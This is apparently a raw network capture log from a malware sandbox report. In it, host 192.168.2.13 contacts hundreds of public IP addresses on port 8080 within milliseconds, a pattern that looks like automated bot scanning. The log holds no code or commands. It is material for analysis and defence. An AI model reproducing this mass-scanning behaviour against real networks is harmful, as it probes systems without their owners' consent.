Nov 23, 2023 05:14:50.629976034 CET	54202	8080	192.168.2.13	31.148.126.127
Nov 23, 2023 05:14:50.629980087 CET	54202	8080	192.168.2.13	94.158.200.174
Nov 23, 2023 05:14:50.629980087 CET	54202	8080	192.168.2.13	94.158.131.184
Nov 23, 2023 05:14:50.629982948 CET	54202	8080	192.168.2.13	85.190.195.2
Nov 23, 2023 05:14:50.629997015 CET	54202	8080	192.168.2.13	85.127.79.73
Nov 23, 2023 05:14:50.629997015 CET	54202	8080	192.168.2.13	62.153.141.88
Nov 23, 2023 05:14:50.629997015 CET	54202	8080	192.168.2.13	85.11.126.27
Nov 23, 2023 05:14:50.630000114 CET	54202	8080	192.168.2.13	85.212.51.20
Nov 23, 2023 05:14:50.630003929 CET	54202	8080	192.168.2.13	85.202.241.97
Nov 23, 2023 05:14:50.630027056 CET	54202	8080	192.168.2.13	85.195.229.201
Nov 23, 2023 05:14:50.630027056 CET	54202	8080	192.168.2.13	85.231.123.36
Nov 23, 2023 05:14:50.630029917 CET	54202	8080	192.168.2.13	95.21.105.148
Nov 23, 2023 05:14:50.630029917 CET	54202	8080	192.168.2.13	94.151.104.209
Nov 23, 2023 05:14:50.630029917 CET	54202	8080	192.168.2.13	31.40.150.106
Nov 23, 2023 05:14:50.630031109 CET	54202	8080	192.168.2.13	62.162.140.138
Nov 23, 2023 05:14:50.630031109 CET	54202	8080	192.168.2.13	31.182.76.154
Nov 23, 2023 05:14:50.630043983 CET	54202	8080	192.168.2.13	31.55.244.141
Nov 23, 2023 05:14:50.630053043 CET	54202	8080	192.168.2.13	62.223.196.0
Nov 23, 2023 05:14:50.630058050 CET	54202	8080	192.168.2.13	94.43.225.172
Nov 23, 2023 05:14:50.630062103 CET	54202	8080	192.168.2.13	62.240.148.154
Nov 23, 2023 05:14:50.630069017 CET	54202	8080	192.168.2.13	85.143.166.248
Nov 23, 2023 05:14:50.630079031 CET	54202	8080	192.168.2.13	62.253.229.154
Nov 23, 2023 05:14:50.630086899 CET	54202	8080	192.168.2.13	94.91.204.36
Nov 23, 2023 05:14:50.630095005 CET	54202	8080	192.168.2.13	95.115.215.119
Nov 23, 2023 05:14:50.630101919 CET	54202	8080	192.168.2.13	94.233.127.42
Nov 23, 2023 05:14:50.630109072 CET	54202	8080	192.168.2.13	31.95.48.108
Nov 23, 2023 05:14:50.630120993 CET	54202	8080	192.168.2.13	31.131.32.146
Nov 23, 2023 05:14:50.630125999 CET	54202	8080	192.168.2.13	95.105.53.106
Nov 23, 2023 05:14:50.630125999 CET	54202	8080	192.168.2.13	95.124.228.186
Nov 23, 2023 05:14:50.630131960 CET	54202	8080	192.168.2.13	31.24.102.112
Nov 23, 2023 05:14:50.630146027 CET	54202	8080	192.168.2.13	94.172.219.152
Nov 23, 2023 05:14:50.630146980 CET	54202	8080	192.168.2.13	31.187.212.158
Nov 23, 2023 05:14:50.630161047 CET	54202	8080	192.168.2.13	85.36.185.242
Nov 23, 2023 05:14:50.630162954 CET	54202	8080	192.168.2.13	31.153.196.174
Nov 23, 2023 05:14:50.630170107 CET	54202	8080	192.168.2.13	62.87.5.17
Nov 23, 2023 05:14:50.630182028 CET	54202	8080	192.168.2.13	95.243.220.160
Nov 23, 2023 05:14:50.630187035 CET	54202	8080	192.168.2.13	62.88.47.121
Nov 23, 2023 05:14:50.630192995 CET	54202	8080	192.168.2.13	95.197.164.28
Nov 23, 2023 05:14:50.630204916 CET	54202	8080	192.168.2.13	31.177.90.176
Nov 23, 2023 05:14:50.630207062 CET	54202	8080	192.168.2.13	85.3.251.76
Nov 23, 2023 05:14:50.630208015 CET	54202	8080	192.168.2.13	95.45.119.80
Nov 23, 2023 05:14:50.630212069 CET	54202	8080	192.168.2.13	31.144.64.43
Nov 23, 2023 05:14:50.630225897 CET	54202	8080	192.168.2.13	31.84.169.71
Nov 23, 2023 05:14:50.630225897 CET	54202	8080	192.168.2.13	62.15.2.176
Nov 23, 2023 05:14:50.630225897 CET	54202	8080	192.168.2.13	85.10.49.130
Nov 23, 2023 05:14:50.630228043 CET	54202	8080	192.168.2.13	94.99.227.106
Nov 23, 2023 05:14:50.630234003 CET	54202	8080	192.168.2.13	31.140.13.131
Nov 23, 2023 05:14:50.630247116 CET	54202	8080	192.168.2.13	94.31.146.172
Nov 23, 2023 05:14:50.630247116 CET	54202	8080	192.168.2.13	31.178.112.233
Nov 23, 2023 05:14:50.630258083 CET	54202	8080	192.168.2.13	85.237.116.168
Nov 23, 2023 05:14:50.630263090 CET	54202	8080	192.168.2.13	62.51.183.233
Nov 23, 2023 05:14:50.630271912 CET	54202	8080	192.168.2.13	62.79.102.168
Nov 23, 2023 05:14:50.630281925 CET	54202	8080	192.168.2.13	95.138.58.116
Nov 23, 2023 05:14:50.630291939 CET	54202	8080	192.168.2.13	95.154.131.113
Nov 23, 2023 05:14:50.630291939 CET	54202	8080	192.168.2.13	31.80.171.224
Nov 23, 2023 05:14:50.630292892 CET	54202	8080	192.168.2.13	95.235.227.38
Nov 23, 2023 05:14:50.630292892 CET	54202	8080	192.168.2.13	94.90.116.104
Nov 23, 2023 05:14:50.630301952 CET	54202	8080	192.168.2.13	85.113.40.69
Nov 23, 2023 05:14:50.630315065 CET	54202	8080	192.168.2.13	94.21.146.111
Nov 23, 2023 05:14:50.630316973 CET	54202	8080	192.168.2.13	31.215.64.85
Nov 23, 2023 05:14:50.630317926 CET	54202	8080	192.168.2.13	95.45.236.225
Nov 23, 2023 05:14:50.630319118 CET	54202	8080	192.168.2.13	85.19.119.86
Nov 23, 2023 05:14:50.630331039 CET	54202	8080	192.168.2.13	31.66.38.54
Nov 23, 2023 05:14:50.630337954 CET	54202	8080	192.168.2.13	31.147.193.189
Nov 23, 2023 05:14:50.630342007 CET	54202	8080	192.168.2.13	62.191.91.105
Nov 23, 2023 05:14:50.630347967 CET	54202	8080	192.168.2.13	62.75.181.76
Nov 23, 2023 05:14:50.630357027 CET	54202	8080	192.168.2.13	94.105.79.81
Nov 23, 2023 05:14:50.630372047 CET	54202	8080	192.168.2.13	94.164.84.12
Nov 23, 2023 05:14:50.630372047 CET	54202	8080	192.168.2.13	85.187.26.144
Nov 23, 2023 05:14:50.630397081 CET	54202	8080	192.168.2.13	62.114.184.184
Nov 23, 2023 05:14:50.630399942 CET	54202	8080	192.168.2.13	95.168.69.200
Nov 23, 2023 05:14:50.630403042 CET	54202	8080	192.168.2.13	62.163.125.249
Nov 23, 2023 05:14:50.630410910 CET	54202	8080	192.168.2.13	94.102.47.27
Nov 23, 2023 05:14:50.630420923 CET	54202	8080	192.168.2.13	94.92.185.145
Nov 23, 2023 05:14:50.630420923 CET	54202	8080	192.168.2.13	62.62.56.197
Nov 23, 2023 05:14:50.630429029 CET	54202	8080	192.168.2.13	95.223.144.193
Nov 23, 2023 05:14:50.630429029 CET	54202	8080	192.168.2.13	85.115.79.197
Nov 23, 2023 05:14:50.630443096 CET	54202	8080	192.168.2.13	62.199.149.136
Nov 23, 2023 05:14:50.630449057 CET	54202	8080	192.168.2.13	95.186.153.13
Nov 23, 2023 05:14:50.630456924 CET	54202	8080	192.168.2.13	62.22.125.40
Nov 23, 2023 05:14:50.630461931 CET	54202	8080	192.168.2.13	94.34.247.202
Nov 23, 2023 05:14:50.630465984 CET	54202	8080	192.168.2.13	85.108.25.158
Nov 23, 2023 05:14:50.630470037 CET	54202	8080	192.168.2.13	31.53.200.19
Nov 23, 2023 05:14:50.630485058 CET	54202	8080	192.168.2.13	95.246.21.34
Nov 23, 2023 05:14:50.630485058 CET	54202	8080	192.168.2.13	85.189.212.77
Nov 23, 2023 05:14:50.630486965 CET	54202	8080	192.168.2.13	62.207.238.151
Nov 23, 2023 05:14:50.630501032 CET	54202	8080	192.168.2.13	62.139.202.85
Nov 23, 2023 05:14:50.630506039 CET	54202	8080	192.168.2.13	31.14.155.71
Nov 23, 2023 05:14:50.630507946 CET	54202	8080	192.168.2.13	31.34.78.111
Nov 23, 2023 05:14:50.630507946 CET	54202	8080	192.168.2.13	94.24.249.129
Nov 23, 2023 05:14:50.630517960 CET	54202	8080	192.168.2.13	62.13.201.76
Nov 23, 2023 05:14:50.630518913 CET	54202	8080	192.168.2.13	62.133.76.60
Nov 23, 2023 05:14:50.630521059 CET	54202	8080	192.168.2.13	94.107.63.35
Nov 23, 2023 05:14:50.630521059 CET	54202	8080	192.168.2.13	62.195.63.60
Nov 23, 2023 05:14:50.630528927 CET	54202	8080	192.168.2.13	95.82.56.234
Nov 23, 2023 05:14:50.630531073 CET	54202	8080	192.168.2.13	94.182.0.197
Nov 23, 2023 05:14:50.630531073 CET	54202	8080	192.168.2.13	85.84.217.254
Nov 23, 2023 05:14:50.630531073 CET	54202	8080	192.168.2.13	85.86.16.112
Nov 23, 2023 05:14:50.630537033 CET	54202	8080	192.168.2.13	95.160.162.27
Nov 23, 2023 05:14:50.630542994 CET	54202	8080	192.168.2.13	31.195.220.199
Nov 23, 2023 05:14:50.630554914 CET	54202	8080	192.168.2.13	31.118.227.186
Nov 23, 2023 05:14:50.630561113 CET	54202	8080	192.168.2.13	62.20.221.158
Nov 23, 2023 05:14:50.630564928 CET	54202	8080	192.168.2.13	95.20.187.12
Nov 23, 2023 05:14:50.630578041 CET	54202	8080	192.168.2.13	31.167.237.164
Nov 23, 2023 05:14:50.630578995 CET	54202	8080	192.168.2.13	31.43.226.237
Nov 23, 2023 05:14:50.630578995 CET	54202	8080	192.168.2.13	95.63.65.168
Nov 23, 2023 05:14:50.630587101 CET	54202	8080	192.168.2.13	94.112.138.61
Nov 23, 2023 05:14:50.630594969 CET	54202	8080	192.168.2.13	85.129.149.249
Nov 23, 2023 05:14:50.630599976 CET	54202	8080	192.168.2.13	95.248.133.172
Nov 23, 2023 05:14:50.630604982 CET	54202	8080	192.168.2.13	94.174.214.162
Nov 23, 2023 05:14:50.630604982 CET	54202	8080	192.168.2.13	94.10.32.249
Nov 23, 2023 05:14:50.630606890 CET	54202	8080	192.168.2.13	31.208.46.255
Nov 23, 2023 05:14:50.630616903 CET	54202	8080	192.168.2.13	62.217.195.84
Nov 23, 2023 05:14:50.630628109 CET	54202	8080	192.168.2.13	94.18.198.227
Nov 23, 2023 05:14:50.630635977 CET	54202	8080	192.168.2.13	85.48.248.101
Nov 23, 2023 05:14:50.630640030 CET	54202	8080	192.168.2.13	94.6.9.207
Nov 23, 2023 05:14:50.630654097 CET	54202	8080	192.168.2.13	95.71.181.137
Nov 23, 2023 05:14:50.630659103 CET	54202	8080	192.168.2.13	95.191.131.62
Nov 23, 2023 05:14:50.630659103 CET	54202	8080	192.168.2.13	95.145.221.66
Nov 23, 2023 05:14:50.630676985 CET	54202	8080	192.168.2.13	62.142.169.62
Nov 23, 2023 05:14:50.630676985 CET	54202	8080	192.168.2.13	85.146.62.179
Nov 23, 2023 05:14:50.630681992 CET	54202	8080	192.168.2.13	85.9.229.76
Nov 23, 2023 05:14:50.630696058 CET	54202	8080	192.168.2.13	62.185.251.110
Nov 23, 2023 05:14:50.630698919 CET	54202	8080	192.168.2.13	62.12.119.161
Nov 23, 2023 05:14:50.630703926 CET	54202	8080	192.168.2.13	31.196.243.54
Nov 23, 2023 05:14:50.630703926 CET	54202	8080	192.168.2.13	62.195.121.53
Nov 23, 2023 05:14:50.630724907 CET	47700	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:50.630729914 CET	36154	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:50.630744934 CET	54202	8080	192.168.2.13	94.89.205.230
Nov 23, 2023 05:14:50.630747080 CET	54202	8080	192.168.2.13	85.137.169.113
Nov 23, 2023 05:14:50.630750895 CET	54202	8080	192.168.2.13	31.162.97.132
Nov 23, 2023 05:14:50.630759001 CET	54202	8080	192.168.2.13	94.209.222.181
Nov 23, 2023 05:14:50.630760908 CET	54202	8080	192.168.2.13	95.85.224.255
Nov 23, 2023 05:14:50.630768061 CET	54202	8080	192.168.2.13	94.154.93.140
Nov 23, 2023 05:14:50.630779982 CET	54202	8080	192.168.2.13	62.230.191.33
Nov 23, 2023 05:14:50.630779982 CET	54202	8080	192.168.2.13	62.36.155.82
Nov 23, 2023 05:14:50.630790949 CET	54202	8080	192.168.2.13	85.36.141.51
Nov 23, 2023 05:14:50.630796909 CET	54202	8080	192.168.2.13	31.237.102.48
Nov 23, 2023 05:14:50.630800009 CET	54202	8080	192.168.2.13	94.181.192.83
Nov 23, 2023 05:14:50.630811930 CET	54202	8080	192.168.2.13	94.12.125.110
Nov 23, 2023 05:14:50.630815029 CET	54202	8080	192.168.2.13	62.2.44.191
Nov 23, 2023 05:14:50.630817890 CET	54202	8080	192.168.2.13	95.141.91.232
Nov 23, 2023 05:14:50.630830050 CET	54202	8080	192.168.2.13	31.226.193.106
Nov 23, 2023 05:14:50.630835056 CET	54202	8080	192.168.2.13	85.33.162.59
Nov 23, 2023 05:14:50.630836964 CET	54202	8080	192.168.2.13	85.151.194.225
Nov 23, 2023 05:14:50.630847931 CET	54202	8080	192.168.2.13	85.51.183.195
Nov 23, 2023 05:14:50.630853891 CET	54202	8080	192.168.2.13	62.209.92.15
Nov 23, 2023 05:14:50.630856037 CET	54202	8080	192.168.2.13	94.30.45.111
Nov 23, 2023 05:14:50.630863905 CET	54202	8080	192.168.2.13	62.52.176.119
Nov 23, 2023 05:14:50.630871058 CET	54202	8080	192.168.2.13	85.238.77.121
Nov 23, 2023 05:14:50.630883932 CET	54202	8080	192.168.2.13	95.44.111.71
Nov 23, 2023 05:14:50.630887032 CET	54202	8080	192.168.2.13	94.139.199.91
Nov 23, 2023 05:14:50.630896091 CET	54202	8080	192.168.2.13	94.246.54.146
Nov 23, 2023 05:14:50.630896091 CET	54202	8080	192.168.2.13	85.76.199.222
Nov 23, 2023 05:14:50.630906105 CET	54202	8080	192.168.2.13	62.136.116.109
Nov 23, 2023 05:14:50.630918980 CET	54202	8080	192.168.2.13	85.39.54.235
Nov 23, 2023 05:14:50.630928040 CET	54202	8080	192.168.2.13	94.120.164.225
Nov 23, 2023 05:14:50.630928040 CET	54202	8080	192.168.2.13	94.216.127.236
Nov 23, 2023 05:14:50.630928993 CET	54202	8080	192.168.2.13	95.211.121.242
Nov 23, 2023 05:14:50.630928993 CET	54202	8080	192.168.2.13	62.118.84.52
Nov 23, 2023 05:14:50.630939960 CET	54202	8080	192.168.2.13	85.212.218.208
Nov 23, 2023 05:14:50.630945921 CET	54202	8080	192.168.2.13	85.119.53.117
Nov 23, 2023 05:14:50.630959034 CET	54202	8080	192.168.2.13	31.187.212.60
Nov 23, 2023 05:14:50.630960941 CET	54202	8080	192.168.2.13	62.214.93.60
Nov 23, 2023 05:14:50.630966902 CET	54202	8080	192.168.2.13	94.205.43.90
Nov 23, 2023 05:14:50.630968094 CET	54202	8080	192.168.2.13	85.165.7.222
Nov 23, 2023 05:14:50.630968094 CET	54202	8080	192.168.2.13	94.218.211.46
Nov 23, 2023 05:14:50.630981922 CET	54202	8080	192.168.2.13	85.218.168.42
Nov 23, 2023 05:14:50.630983114 CET	54202	8080	192.168.2.13	31.45.190.122
Nov 23, 2023 05:14:50.630985975 CET	54202	8080	192.168.2.13	62.155.128.248
Nov 23, 2023 05:14:50.630990982 CET	54202	8080	192.168.2.13	62.104.52.36
Nov 23, 2023 05:14:50.631000042 CET	54202	8080	192.168.2.13	95.0.171.229
Nov 23, 2023 05:14:50.631004095 CET	54202	8080	192.168.2.13	62.243.36.171
Nov 23, 2023 05:14:50.631010056 CET	54202	8080	192.168.2.13	95.89.31.102
Nov 23, 2023 05:14:50.631011009 CET	54202	8080	192.168.2.13	85.202.60.77
Nov 23, 2023 05:14:50.631014109 CET	54202	8080	192.168.2.13	31.248.225.72
Nov 23, 2023 05:14:50.631017923 CET	54202	8080	192.168.2.13	85.165.225.70
Nov 23, 2023 05:14:50.631017923 CET	54202	8080	192.168.2.13	94.186.76.144
Nov 23, 2023 05:14:50.631040096 CET	54202	8080	192.168.2.13	85.83.134.35
Nov 23, 2023 05:14:50.631040096 CET	54202	8080	192.168.2.13	31.214.158.5
Nov 23, 2023 05:14:50.631046057 CET	54202	8080	192.168.2.13	62.62.9.122
Nov 23, 2023 05:14:50.631047964 CET	54202	8080	192.168.2.13	31.182.241.156
Nov 23, 2023 05:14:50.631047964 CET	54202	8080	192.168.2.13	62.36.193.164
Nov 23, 2023 05:14:50.631048918 CET	54202	8080	192.168.2.13	31.10.14.38
Nov 23, 2023 05:14:50.631057024 CET	54202	8080	192.168.2.13	62.199.77.48
Nov 23, 2023 05:14:50.631057024 CET	54202	8080	192.168.2.13	31.244.16.68
Nov 23, 2023 05:14:50.631062984 CET	54202	8080	192.168.2.13	62.239.227.136
Nov 23, 2023 05:14:50.631069899 CET	54202	8080	192.168.2.13	95.101.141.168
Nov 23, 2023 05:14:50.631072044 CET	54202	8080	192.168.2.13	62.114.229.157
Nov 23, 2023 05:14:50.631076097 CET	54202	8080	192.168.2.13	95.131.145.133
Nov 23, 2023 05:14:50.631086111 CET	54202	8080	192.168.2.13	94.93.69.53
Nov 23, 2023 05:14:50.631089926 CET	54202	8080	192.168.2.13	31.28.205.238
Nov 23, 2023 05:14:50.631093025 CET	54202	8080	192.168.2.13	95.119.175.114
Nov 23, 2023 05:14:50.631109953 CET	54202	8080	192.168.2.13	62.19.213.123
Nov 23, 2023 05:14:50.631109953 CET	54202	8080	192.168.2.13	85.34.134.54
Nov 23, 2023 05:14:50.631112099 CET	54202	8080	192.168.2.13	62.4.97.245
Nov 23, 2023 05:14:50.631113052 CET	54202	8080	192.168.2.13	62.77.0.237
Nov 23, 2023 05:14:50.631112099 CET	54202	8080	192.168.2.13	62.105.249.203
Nov 23, 2023 05:14:50.631128073 CET	54202	8080	192.168.2.13	94.17.45.68
Nov 23, 2023 05:14:50.631129026 CET	54202	8080	192.168.2.13	95.24.27.255
Nov 23, 2023 05:14:50.631148100 CET	54202	8080	192.168.2.13	85.169.147.204
Nov 23, 2023 05:14:50.631159067 CET	54202	8080	192.168.2.13	62.99.221.109
Nov 23, 2023 05:14:50.631162882 CET	54202	8080	192.168.2.13	62.116.162.59
Nov 23, 2023 05:14:50.631162882 CET	54202	8080	192.168.2.13	62.26.166.104
Nov 23, 2023 05:14:50.631166935 CET	54202	8080	192.168.2.13	31.20.127.22
Nov 23, 2023 05:14:50.631166935 CET	54202	8080	192.168.2.13	94.208.88.68
Nov 23, 2023 05:14:50.631179094 CET	54202	8080	192.168.2.13	94.2.51.64
Nov 23, 2023 05:14:50.631190062 CET	54202	8080	192.168.2.13	62.34.26.244
Nov 23, 2023 05:14:50.631197929 CET	54202	8080	192.168.2.13	94.48.69.216
Nov 23, 2023 05:14:50.631197929 CET	54202	8080	192.168.2.13	95.161.125.185
Nov 23, 2023 05:14:50.631197929 CET	54202	8080	192.168.2.13	31.61.86.241
Nov 23, 2023 05:14:50.631211996 CET	54202	8080	192.168.2.13	94.222.89.135
Nov 23, 2023 05:14:50.631217957 CET	54202	8080	192.168.2.13	85.230.251.255
Nov 23, 2023 05:14:50.631228924 CET	54202	8080	192.168.2.13	95.51.236.247
Nov 23, 2023 05:14:50.631237030 CET	54202	8080	192.168.2.13	31.145.33.6
Nov 23, 2023 05:14:50.631247044 CET	54202	8080	192.168.2.13	95.190.130.218
Nov 23, 2023 05:14:50.631258965 CET	54202	8080	192.168.2.13	95.237.217.141
Nov 23, 2023 05:14:50.631262064 CET	54202	8080	192.168.2.13	62.230.10.42
Nov 23, 2023 05:14:50.631273985 CET	54202	8080	192.168.2.13	62.246.249.27
Nov 23, 2023 05:14:50.631279945 CET	54202	8080	192.168.2.13	62.81.229.59
Nov 23, 2023 05:14:50.631283045 CET	54202	8080	192.168.2.13	62.4.240.205
Nov 23, 2023 05:14:50.631294966 CET	54202	8080	192.168.2.13	62.143.21.173
Nov 23, 2023 05:14:50.631302118 CET	54202	8080	192.168.2.13	95.191.151.181
Nov 23, 2023 05:14:50.631304026 CET	54202	8080	192.168.2.13	85.23.6.255
Nov 23, 2023 05:14:50.631314993 CET	54202	8080	192.168.2.13	94.129.53.215
Nov 23, 2023 05:14:50.631314993 CET	54202	8080	192.168.2.13	85.13.46.82
Nov 23, 2023 05:14:50.631330967 CET	54202	8080	192.168.2.13	95.225.212.148
Nov 23, 2023 05:14:50.631331921 CET	54202	8080	192.168.2.13	62.0.178.197
Nov 23, 2023 05:14:50.631335020 CET	54202	8080	192.168.2.13	31.191.198.200
Nov 23, 2023 05:14:50.631341934 CET	54202	8080	192.168.2.13	62.154.140.228
Nov 23, 2023 05:14:50.631359100 CET	54202	8080	192.168.2.13	31.108.19.200
Nov 23, 2023 05:14:50.631360054 CET	54202	8080	192.168.2.13	85.192.78.175
Nov 23, 2023 05:14:50.631360054 CET	54202	8080	192.168.2.13	94.18.5.99
Nov 23, 2023 05:14:50.631362915 CET	54202	8080	192.168.2.13	95.135.141.13
Nov 23, 2023 05:14:50.631367922 CET	54202	8080	192.168.2.13	94.253.189.107
Nov 23, 2023 05:14:50.631372929 CET	54202	8080	192.168.2.13	94.35.176.61
Nov 23, 2023 05:14:50.631383896 CET	54202	8080	192.168.2.13	31.32.250.223
Nov 23, 2023 05:14:50.631392002 CET	54202	8080	192.168.2.13	31.240.21.81
Nov 23, 2023 05:14:50.631392002 CET	54202	8080	192.168.2.13	31.70.28.117
Nov 23, 2023 05:14:50.631392956 CET	54202	8080	192.168.2.13	95.61.198.134
Nov 23, 2023 05:14:50.631392956 CET	54202	8080	192.168.2.13	94.209.136.32
Nov 23, 2023 05:14:50.631397009 CET	54202	8080	192.168.2.13	95.237.64.33
Nov 23, 2023 05:14:50.631406069 CET	54202	8080	192.168.2.13	94.102.125.105
Nov 23, 2023 05:14:50.631409883 CET	54202	8080	192.168.2.13	85.164.194.43
Nov 23, 2023 05:14:50.631417036 CET	54202	8080	192.168.2.13	95.15.217.71
Nov 23, 2023 05:14:50.631436110 CET	54202	8080	192.168.2.13	94.215.165.118
Nov 23, 2023 05:14:50.631436110 CET	54202	8080	192.168.2.13	31.137.193.93
Nov 23, 2023 05:14:50.631447077 CET	54202	8080	192.168.2.13	62.96.135.80
Nov 23, 2023 05:14:50.631449938 CET	54202	8080	192.168.2.13	95.90.35.75
Nov 23, 2023 05:14:50.631460905 CET	54202	8080	192.168.2.13	95.236.212.170
Nov 23, 2023 05:14:50.631464005 CET	54202	8080	192.168.2.13	31.200.37.211
Nov 23, 2023 05:14:50.631472111 CET	54202	8080	192.168.2.13	85.237.168.144
Nov 23, 2023 05:14:50.631485939 CET	54202	8080	192.168.2.13	31.254.119.240
Nov 23, 2023 05:14:50.631493092 CET	54202	8080	192.168.2.13	31.254.243.198
Nov 23, 2023 05:14:50.631494045 CET	54202	8080	192.168.2.13	31.232.224.31
Nov 23, 2023 05:14:50.631498098 CET	54202	8080	192.168.2.13	62.163.86.117
Nov 23, 2023 05:14:50.631500959 CET	54202	8080	192.168.2.13	62.149.108.142
Nov 23, 2023 05:14:50.631508112 CET	54202	8080	192.168.2.13	31.12.41.32
Nov 23, 2023 05:14:50.631514072 CET	54202	8080	192.168.2.13	31.164.154.247
Nov 23, 2023 05:14:50.631517887 CET	54202	8080	192.168.2.13	62.113.12.26
Nov 23, 2023 05:14:50.631530046 CET	54202	8080	192.168.2.13	95.165.107.180
Nov 23, 2023 05:14:50.631531954 CET	54202	8080	192.168.2.13	62.206.178.198
Nov 23, 2023 05:14:50.631540060 CET	54202	8080	192.168.2.13	94.207.235.3
Nov 23, 2023 05:14:50.631546021 CET	54202	8080	192.168.2.13	95.22.212.159
Nov 23, 2023 05:14:50.631561995 CET	54202	8080	192.168.2.13	95.206.31.3
Nov 23, 2023 05:14:50.631562948 CET	54202	8080	192.168.2.13	31.192.36.204
Nov 23, 2023 05:14:50.631562948 CET	54202	8080	192.168.2.13	94.94.253.238
Nov 23, 2023 05:14:50.631566048 CET	54202	8080	192.168.2.13	95.205.97.4
Nov 23, 2023 05:14:50.631572008 CET	54202	8080	192.168.2.13	85.222.70.70
Nov 23, 2023 05:14:50.631581068 CET	54202	8080	192.168.2.13	85.179.93.243
Nov 23, 2023 05:14:50.631586075 CET	54202	8080	192.168.2.13	95.175.66.148
Nov 23, 2023 05:14:50.631598949 CET	54202	8080	192.168.2.13	85.169.202.176
Nov 23, 2023 05:14:50.631598949 CET	54202	8080	192.168.2.13	31.219.109.249
Nov 23, 2023 05:14:50.631608009 CET	54202	8080	192.168.2.13	62.218.232.18
Nov 23, 2023 05:14:50.631614923 CET	54202	8080	192.168.2.13	95.182.91.102
Nov 23, 2023 05:14:50.631617069 CET	54202	8080	192.168.2.13	31.132.202.161
Nov 23, 2023 05:14:50.631632090 CET	54202	8080	192.168.2.13	94.199.23.60
Nov 23, 2023 05:14:50.631634951 CET	54202	8080	192.168.2.13	85.255.253.154
Nov 23, 2023 05:14:50.631638050 CET	54202	8080	192.168.2.13	95.193.235.18
Nov 23, 2023 05:14:50.631639004 CET	54202	8080	192.168.2.13	95.234.183.30
Nov 23, 2023 05:14:50.631645918 CET	54202	8080	192.168.2.13	95.155.43.192
Nov 23, 2023 05:14:50.631653070 CET	54202	8080	192.168.2.13	85.241.189.184
Nov 23, 2023 05:14:50.631655931 CET	54202	8080	192.168.2.13	62.242.26.58
Nov 23, 2023 05:14:50.631671906 CET	54202	8080	192.168.2.13	31.90.164.181
Nov 23, 2023 05:14:50.631671906 CET	54202	8080	192.168.2.13	62.46.42.70
Nov 23, 2023 05:14:50.631683111 CET	54202	8080	192.168.2.13	94.248.159.73
Nov 23, 2023 05:14:50.631697893 CET	54202	8080	192.168.2.13	85.10.193.137
Nov 23, 2023 05:14:50.631704092 CET	54202	8080	192.168.2.13	85.193.128.25
Nov 23, 2023 05:14:50.631719112 CET	54202	8080	192.168.2.13	85.32.206.118
Nov 23, 2023 05:14:50.631721973 CET	54202	8080	192.168.2.13	31.74.76.152
Nov 23, 2023 05:14:50.631736040 CET	54202	8080	192.168.2.13	94.95.182.186
Nov 23, 2023 05:14:50.631751060 CET	54202	8080	192.168.2.13	94.153.141.5
Nov 23, 2023 05:14:50.631755114 CET	54202	8080	192.168.2.13	94.193.76.218
Nov 23, 2023 05:14:50.631756067 CET	54202	8080	192.168.2.13	94.134.62.207
Nov 23, 2023 05:14:50.631757975 CET	54202	8080	192.168.2.13	95.253.69.22
Nov 23, 2023 05:14:50.631764889 CET	54202	8080	192.168.2.13	62.84.213.129
Nov 23, 2023 05:14:50.631767035 CET	54202	8080	192.168.2.13	31.53.145.204
Nov 23, 2023 05:14:50.631784916 CET	54202	8080	192.168.2.13	62.148.77.105
Nov 23, 2023 05:14:50.631788969 CET	54202	8080	192.168.2.13	85.213.176.232
Nov 23, 2023 05:14:50.631795883 CET	54202	8080	192.168.2.13	85.90.219.252
Nov 23, 2023 05:14:50.631804943 CET	54202	8080	192.168.2.13	94.120.225.23
Nov 23, 2023 05:14:50.631819010 CET	54202	8080	192.168.2.13	31.159.135.194
Nov 23, 2023 05:14:50.631819010 CET	54202	8080	192.168.2.13	85.219.149.230
Nov 23, 2023 05:14:50.631819963 CET	54202	8080	192.168.2.13	95.180.127.36
Nov 23, 2023 05:14:50.631819963 CET	54202	8080	192.168.2.13	85.47.175.119
Nov 23, 2023 05:14:50.631819963 CET	54202	8080	192.168.2.13	95.246.129.4
Nov 23, 2023 05:14:50.631839991 CET	54202	8080	192.168.2.13	62.103.27.85
Nov 23, 2023 05:14:50.631840944 CET	54202	8080	192.168.2.13	31.82.187.126
Nov 23, 2023 05:14:50.631840944 CET	54202	8080	192.168.2.13	95.217.6.240
Nov 23, 2023 05:14:50.631858110 CET	54202	8080	192.168.2.13	31.119.225.44
Nov 23, 2023 05:14:50.631858110 CET	54202	8080	192.168.2.13	94.92.203.100
Nov 23, 2023 05:14:50.631861925 CET	54202	8080	192.168.2.13	95.177.20.92
Nov 23, 2023 05:14:50.631865978 CET	54202	8080	192.168.2.13	62.142.70.237
Nov 23, 2023 05:14:50.631870985 CET	54202	8080	192.168.2.13	31.39.166.16
Nov 23, 2023 05:14:50.631877899 CET	54202	8080	192.168.2.13	62.129.15.139
Nov 23, 2023 05:14:50.631889105 CET	54202	8080	192.168.2.13	31.15.254.82
Nov 23, 2023 05:14:50.631896973 CET	54202	8080	192.168.2.13	85.119.35.223
Nov 23, 2023 05:14:50.631911993 CET	54202	8080	192.168.2.13	62.118.174.41
Nov 23, 2023 05:14:50.631912947 CET	54202	8080	192.168.2.13	31.165.58.20
Nov 23, 2023 05:14:50.631911993 CET	54202	8080	192.168.2.13	85.67.8.152
Nov 23, 2023 05:14:50.631917000 CET	54202	8080	192.168.2.13	62.20.11.158
Nov 23, 2023 05:14:50.631930113 CET	54202	8080	192.168.2.13	85.86.8.209
Nov 23, 2023 05:14:50.631932974 CET	54202	8080	192.168.2.13	62.53.164.2
Nov 23, 2023 05:14:50.631938934 CET	54202	8080	192.168.2.13	85.87.110.43
Nov 23, 2023 05:14:50.631944895 CET	54202	8080	192.168.2.13	85.227.66.18
Nov 23, 2023 05:14:50.631947041 CET	54202	8080	192.168.2.13	85.7.111.192
Nov 23, 2023 05:14:50.631963015 CET	54202	8080	192.168.2.13	94.205.117.52
Nov 23, 2023 05:14:50.631964922 CET	54202	8080	192.168.2.13	85.114.19.244
Nov 23, 2023 05:14:50.631964922 CET	54202	8080	192.168.2.13	94.42.143.194
Nov 23, 2023 05:14:50.631978035 CET	54202	8080	192.168.2.13	94.12.193.72
Nov 23, 2023 05:14:50.631979942 CET	54202	8080	192.168.2.13	62.254.60.255
Nov 23, 2023 05:14:50.631989002 CET	54202	8080	192.168.2.13	31.68.190.94
Nov 23, 2023 05:14:50.631989002 CET	54202	8080	192.168.2.13	31.84.220.236
